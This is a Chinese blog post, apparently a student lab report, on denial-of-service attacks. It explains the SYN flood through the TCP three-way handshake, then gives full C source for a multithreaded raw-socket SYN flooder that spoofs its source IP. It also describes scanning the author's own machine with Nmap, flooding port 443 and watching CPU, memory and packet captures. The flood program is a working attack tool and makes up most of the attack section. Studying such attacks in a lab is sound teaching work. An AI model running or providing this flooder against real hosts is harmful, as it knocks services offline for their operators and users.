zoukankan      html  css  js  c++  java
  • 实践:网络攻击技术

    一、实验目的

    • 理解带宽攻击原理
    • 理解资源消耗攻击原理
    • 掌握洪泛攻击网络行为特征

    二、实验原理

    SYN Flood攻击

    Dos(Denial of Service)拒绝服务攻击是指在特定攻击发生后,被攻击的对象不能及时提供应有的服务。从广义上说,任何导致服务器不能正常提供服务的攻击都是拒绝服务攻击。

    SYN Flood是当前最流行的拒绝服务攻击之一,这是一种利用TCP协议缺陷,发送大量的伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。
    TCP协议是基于连接的,也就是说,为了在服务端和客户端之间传送TCP数据,必须先建立一个虚拟电路,也就是TCP连接。
    建立TCP连接的标准过程是这样的:

    • 第一步,请求端(客户端)发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号;
    • 第二步,服务器在收到客户端的SYN报文后,将返回一个SYN+ACK的报文,表示客户端的请求被接受,同时TCP序号被加1,ACK即确认(Acknowledgement);
    • 第三步,客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加1,到此一个TCP连接完成。

    以上的连接过程在TCP协议中被称为三次握手。

    问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN超时,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃——即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况我们称作:服务器端受到了SYN Flood攻击(SYN洪水攻击)。

    二、实验步骤

    以自己的主机为靶机,IP地址为192.168.43.206,以虚拟机Linux操作系统为攻击源,伪装的IP地址为192.168.0.222进行试验。

    1.前期准备

    在虚拟机上安装wireshark和ZENMAP。

    2.攻击代码的实现

    用C代码实现的一个SYN Flood攻击编程。

    代码如下:

    //DOS_flood.c 
    #include <stdio.h>
    #include <ctype.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <signal.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <netdb.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <time.h>
    #include <string.h>
     
    #define MAXCHILD			128
    #define PROTO_NAME 			"tcp"
    #define FAKE_IP 			"192.168.0.222"
     
    static unsigned long dest = 0;
    static unsigned short dest_port = 0;
    static int PROTO_TCP = -1;
    static int alive = -1;
    int rawsock = 0;
     
    typedef struct dosseg_t{
    	struct ip iph;
    	struct tcphdr tcph;
    	unsigned char data[8192];
    }DOSSEG_T;
     
    //数据包校验
    static unsigned short Dos_cksum(unsigned short *data, int length)
    {
    	register int left = length;
    	register unsigned short *word = data;
    	register int sum = 0;
    	unsigned short ret = 0;
    	
    	while(left > 1)
    	{
    		sum += *word++;
    		left -= 2;
    	}
    	
    	if(left == 1)
    	{
    		*(unsigned char *)(&ret) = *(unsigned char *)word;
    		sum += ret;
    	}
    	
    	sum = (sum >> 16) + (sum & 0xffff);
    	sum += (sum >> 16);
    	
    	ret = ~sum;
    	return (ret);
    }
     
    /* 随机生成攻击请求源端口 */
    static inline long myrandom(int begin, int end)
    {
    	int gap = end - begin + 1;
    	int ret = 0;
    	
    	srand((unsigned)time(0));
    	
    	ret = random()%gap + begin;
    	return ret;
    }
     
    static void Dos_sig()
    {
    	alive = 0;
    	printf("stop DoS Attack!
    ");
    }
     
    /* 构造tcp的请求syn包 */
    void DoS_tcp_pack(char* packet)
    {
    	char *buffer;
    	
            struct ip* ip_hdr = (struct ip*)packet;
            struct tcphdr* tcp_hdr = (struct tcphdr*)(packet + sizeof(struct ip));
     
    	//ip头赋值
            ip_hdr->ip_v = 4;
            ip_hdr->ip_hl = 5;
            ip_hdr->ip_tos = 0;
            ip_hdr->ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr));
            ip_hdr->ip_id = htons(getpid());
            ip_hdr->ip_off = 0;
            ip_hdr->ip_ttl = 64;
            ip_hdr->ip_p = PROTO_TCP;
            ip_hdr->ip_sum = 0;
            ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);		//伪装源地址
            ip_hdr->ip_dst.s_addr = dest; 					//攻击的目的主机地址
    	ip_hdr->ip_sum = Dos_cksum((unsigned short *)ip_hdr, (4*ip_hdr->ip_hl + sizeof(struct tcphdr) + 1) & ~1);
     
    	//tcp赋值
            tcp_hdr->seq = htonl((unsigned long)myrandom(0, 65535));
    	tcp_hdr->ack_seq = htons(myrandom(0, 65535));
    	tcp_hdr->syn = 1;
    	tcp_hdr->urg = 1;
    	tcp_hdr->window = htons(myrandom(0, 65535));
    	tcp_hdr->check = 0;
    	tcp_hdr->urg_ptr = htons(myrandom(0, 65535));
    	tcp_hdr->check = Dos_cksum((unsigned short *)tcp_hdr, (sizeof(struct ip) + sizeof(struct tcphdr) + 1) & ~1);
    }
     
    void Dos_Attack()
    {
    	DOSSEG_T packet;
            struct sockaddr_in to;
            DoS_tcp_pack((char *)&packet);
     
            to.sin_family = AF_INET;
            to.sin_addr.s_addr = dest;
            to.sin_port = htons(0);
     
            while(alive)  //控制发包的全局变量
            {
                 sendto(rawsock, &packet, 4*packet.iph.ip_hl + sizeof(struct tcphdr), 0, (struct sockaddr*)&to, sizeof(struct sockaddr));
            }
    }
     
    int main(int argc, char* argv[]) 
    { 
    	struct hostent* host = NULL; 
    	struct protoent* protocol = NULL; 
    	int i = 0, err = -1; 
    	pthread_t attack_thread[MAXCHILD];
     
    	/* 创建停止信号接收函数 */
    	alive = 1; 
    	signal(SIGINT, Dos_sig);
    	
    	if(argc < 3) 
    	{ 
    		printf("-------------Invalid input---------------!
    ");
    		return -1;
    	}
    	
    	protocol = getprotobyname(PROTO_NAME);
    	if(protocol == NULL) 
    	{ 
    		printf("Fail to getprotobyname!
    ");
    		return -1;
    	} 
    	
    	PROTO_TCP = protocol->p_proto;
    	
    	//参数1:攻击目的IP   参数2:攻击的目的Port
    	dest = inet_addr(argv[1]);
    	dest_port = atoi(argv[2]);
    	
    	if(dest == INADDR_NONE) 
    	{ 
    		host = gethostbyname(argv[1]);
    		if(host == NULL) 
    		{ 
    			printf("Invalid IP or Domain name!
    ");
    			return -1;
    		} 
    		
    		memcpy((char *)&dest, host->h_addr, host->h_length);	
    	}
    	
    	//创建原始套接字
    	rawsock = socket(AF_INET, SOCK_RAW, PROTO_TCP);
    	
    	if(rawsock < 0) 
    	{ 
    		printf("Fait to create socket!
    ");
    		return -1;
    	} 
    	
    	//设置IP选项
    	setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL, "1", sizeof("1"));
    	
    	printf("SYN FLOOD ATTACK START
    ");
     
    	for(i = 0; i < MAXCHILD; i++) 
    	{ 
    		err = pthread_create(&(attack_thread[i]), NULL,(void*)Dos_Attack, NULL);
    		if(err) 
    		{ 
    			printf("Fail to create thread, err %d, thread id : %d
    ",err, attack_thread[i]);
    		} 
    	} 
    	
    	for(i = 0; i < MAXCHILD; i++) 
    	{ 
    		pthread_join(attack_thread[i], NULL);
    		//等待线程结束 
    	} 
    	
    	printf("SYN-DOS ATTACK FINISHI!
    ");
    	close(rawsock);
    	
    	return 0;
    }
    
    

    使用如下命令来进行编译:

    3.性能分析

    (1)攻击者在Linux下利用NMAP对靶机进行端口扫描,根据NMAP对靶机的扫描结果选择一个开放的TCP端口作为DoS攻击的端口。

    使用如下命令启动ZENMAP:

    (2)选择的443这个开放端口,启动DoS工具,对靶机上的该端口进行SYN洪水攻击。

    (3)靶机启动系统“性能监视器”,监视在遭受到洪水攻击时本机CPU、内存消耗情况。

    攻击前靶机的性能监视器:

    攻击后靶机的性能监视器图形变化:

    (4)靶机打开“任务管理器”,单击“性能”选项卡,记录CUP、内存、网络的使用状况。

    攻击前“任务管理器”性能页:

    攻击后“任务管理器”性能页:

    (5)靶机在CMD中执行netstat –na命令,观察TCP连接状态。

    4.捕包分析攻击包特征

    (1)攻击者停止洪水发送,并停止协议分析器捕获,分析攻击者与靶机间的TCP会话数据。

    (2)通过对协议分析器所捕获到的数据包进行分析,说明在攻击者对靶机开放的TCP端口进行洪泛攻击时,靶机为什么会消耗大量的系统资源。

    SYN Flood 攻击利用的是tcp协议的设计漏洞,正常的tcp连接要三次握手连接。当第一次请求syn报文发送之后,服务器发送应答syn+ack报文,客户端此时出现状况或者故意不进行第三次握手,服务器会重新发送一次syn+ack报文,并且等待一段时间,成为syn终止时间,如果没有响应,则判断为无法连接,丢弃这个连接。当攻击者以数以万计的半连接出现的时候,服务器要不断的对所有半连接发送syn+ack报文重试,服务器的内存和cpu不停的做这些没有用的工作,从而消耗大量的系统资源。

    参考资料:https://wenku.baidu.com/view/7561dd9184868762caaed537.html
    注:感谢程铮华同学提供了很大的帮助。

  • 相关阅读:
    mac下给git://协议设置代理Proxy
    安卓手机中wifi密码查看器,查看wifi密码教程
    坑爹啊!gradle 2.1构建android出现错误的解决方案
    php-fpm开启报错-ERROR: An another FPM instance seems to already listen on /tmp/php-cgi.sock详解
    git rebase 还是 merge的使用场景最通俗的解释
    git rebase 与 git merge 的区别
    zend opcache的最佳设置(仅做参考)
    PHP7.3 报错: A non well formed numeric value encountered
    关于PHP.ini的opcache中opcache.revalidate_freq参数设置测试报告
    微信小程序登录实现,前端+后端PHP代码(前端获得CODE,后端获取微信用户的OPEN ID 和 UNION ID)
  • 原文地址:https://www.cnblogs.com/yangdd/p/11892582.html
Copyright © 2011-2022 走看看